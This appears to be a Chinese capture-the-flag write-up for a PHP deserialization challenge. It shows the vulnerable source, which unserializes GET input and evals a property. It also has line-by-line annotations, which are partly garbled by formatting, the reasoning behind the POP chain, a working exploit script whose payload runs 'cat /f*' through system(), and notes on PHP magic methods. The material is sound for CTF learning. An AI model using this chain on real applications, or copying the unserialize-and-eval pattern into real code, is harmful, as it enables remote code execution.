打开题目
题目源代码如下
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
代码审计一下
include "waf.php";
class NISA{ //定义了一个名为
NISA
的类public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if(this-\>fun=="show_me_flag"){ //检查 `this->fun
是否等于 "show_me_flag",如果是,则调用
hint()` 函数hint();
}
}
function __call(from,val){ //当对象的方法不存在时,
__call()
方法会被调用,它接受两个参数:$from
表示调用的方法名,$val
是一个数组,包含调用方法时传递的参数this-\>fun=val[0]; //将对象的属性
$this->fun
设置为传递给方法的第一个参数的值,即$val[0]
}
public function __toString()
{
echo $this->fun;
return " "; //使用
echo
语句输出对象的属性$this->fun
的值,然后返回一个空格字符串。}
public function __invoke()
{
checkcheck(this-\>txw4ever); //调用了一个名为 `checkcheck()` 的函数,然后执行了 `this->txw4ever` 的代码
@eval($this->txw4ever);
}
class TianXiWei{
public $ext;
public $x;
//定义了一个名为TianXiWei
的类,其中包含两个属性$ext
和 x ` public function __wakeup()`//这是一个 PHP 魔术方法,当对象被反序列化时会自动调用。 ` {` ` this->ext->nisa(this->x); `//调用 `ext对象的
nisa()方法,并将当前对象的属性
$x作为参数传递给
nisa()方法。
}
}`
class Ilovetxw{
public $huang;
public $su;
//定义了一个名为Ilovetxw
的类,其中包含两个属性$huang
和 $su
public function __call($fun1,$arg){
//PHP 魔术方法,当调用不存在的方法时会自动触发。它接受两个参数:调用的方法名$fun1
和传递给该方法的参数 arg ` this->huang->fun=arg[0]; `//将传递给方法的第一个参数(`arg[0])赋值给 $this->huang->fun
}`
public function __toString(){
// PHP 魔术方法,用于将对象转换为字符串时自动调用
$bb = $this->su;
return $bb();
//将 $this->su 赋值给变量 $bb,它尝试执行 $bb(),即调用 $bb 所指向的函数或方法
}
}
class four{
public $a="TXW4EVER";
//定义了一个公共属性$a
,并赋值为字符串 "TXW4EVER"
private $fun='abc';
//定义了一个私有属性$fun
,并赋值为字符串 'abc'
public function __set($name, $value)
//魔术方法,用于在尝试设置不可访问属性时自动调用。
{
$this->$name=$value;
//将属性$name
的值设置为$value
,即动态创建了一个属性
if ($this->fun = "sixsixsix"){
//这个条件语句中使用了赋值操作=
,它会将属性$this->fun
的值设置为字符串 "sixsixsix",并且if
条件会始终为真,因为赋值操作的结果是被赋的值本身
strtolower($this->a);
//在条件语句中执行了strtolower($this->a)
,但没有将结果赋给任何变量或属性
}
}
if(isset($_GET['ser'])){
//检查是否存在名为ser
的 GET 参数
@unserialize($_GET['ser']);
//对$_GET['ser']
的值进行反序列化操作@unserialize($_GET['ser'])
,使用了@
符号来抑制可能的错误信息输出
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
//checkcheck函数接收一个参数data ` // if(preg_match(......)){ `//有一个 `preg_match` 函数,但是正则表达式部分被省略了 `// die(something wrong); `//如果 `preg_match` 函数匹配成功,即 `data符合某个模式,那么会执行
die(something wrong);来终止脚本执行,并输出 "something wrong"
// }
//}`
//function hint(){
//hint函数这里没有设置参数
// echo ".......";
//输出了一些占位符信息
// die();
//调用了die()
终止脚本的执行
//}
?>
解题思路
这里我是一点思路都没有,可能也是平时接触到的这类型题很少,全靠大佬的wp
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,肯定是代码执行,而eval又在__invoke魔术方法中
先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数
反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
(3)__toString反推到__set
(4)从__set反推到__call
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup
大佬的exp
<?php
class NISA{
public $fun="show_me_flag";
public $txw4ever; // 1 shell
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER"; //3 Ilovetxw
private $fun='sixsixsix'; //fun = "sixsixsix
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
生成payload
得到flag
知识点:
_wakeup()魔术方法
当使用 unserialize()
反序列化一个对象成功后,会自动调用该对象的 __wakup()
魔术方法
_call()魔术方法
当对象的方法不存在时,__call()
方法会被调用
也就是无法访问此方法(未定义),此方法被__call()重载,并显示方法名和参数;
_toString()魔术方法
使用 echo
语句输出一个对象时,会自动检查一个对象有没有定义 _toString()
方法,如果定义了,就会输出 __toString()
方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串
也就是说,如果要将一个对象转换为字符串,必须定义 __toString()
魔术方法
_invoke()魔术方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
具体使用方法见:PHP 魔术方法 - __invoke() - PHP 魔术方法 - 简单教程,简单编程
_set()魔术方法
用于设置私有属性值,有两个参数,第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值
具体使用方法见:php 中__set()和__get()的具体用法_php __set-CSDN博客
strtolower()函数
strtolower函数把字符串全部转换为小写。
isset()函数
确定变量值是否存在
参考文章: